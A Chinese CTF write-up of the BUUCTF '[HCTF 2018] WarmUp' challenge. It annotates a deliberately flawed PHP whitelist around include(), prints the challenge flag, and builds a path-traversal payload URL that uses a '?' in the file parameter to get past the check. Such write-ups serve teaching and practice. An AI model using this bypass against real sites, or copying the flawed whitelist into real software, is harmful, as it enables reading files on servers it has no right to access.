2021/6/17
buu
[HCTF 2018]WarmUp
打开后看源码发现source.php找到如下代码,又在注释中找到了hint.php打开提示
先分析找到的代码,发现include()应该是文件包含
<?php
highlight_file(__FILE__);
class emmm //定义emmm类
{
public static function checkFile(&$page) //将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) { //如果不存在page或者page不是字符
echo "you can't see it"; //打印you can't see it
return false; //返回false
}
if (in_array($page, $whitelist)) { //如果page存在whitelist中
return true; //返回true
}
$_page = mb_substr( //该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //如果page存在whitelist中
return true; //返回true
}
$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //request file不为空
&& is_string($_REQUEST['file']) //file是字符串
&& emmm::checkFile($_REQUEST['file']) //file满足checkfile中的条件
) {
include $_REQUEST['file']; //文件包含
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?> flag{8cf4f0f6-dacd-4f5f-8db8-3f715450c111}
REQUEST[‘file’]需要满足三个条件
1.不为空
2.为字符串
3.满足函数checkfile校验
而checkfile校验有四个检测
1.判断是否为字符串
2.判断page是否在whitelist数组中
3.截取page中’?'前一部分判断是否whitelist数组中
4.判断url解码并截取后的page是否存在于whitelist中 //重点!
因此构造payload
http://ce6b0c43-8e75-431c-81d6-64ea74a049ba.node3.buuoj.cn/source.php?file=source.php?../…/…/…/…/ffffllllaaaagggg
相关函数
highlight_file() 函数对文件进行语法高亮显示。
highlight_file(filename,return)
in_array()函数搜索数组中是否存在指定的值
in_array(search,array,type)
如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
mb_strpos($ string, $ a):查找字符串a在字符串string中首次出现的位置,起始位置以0开始;
mb_substr($string, $start, $end):在字符串string中截取以start开始,以end结尾的子串;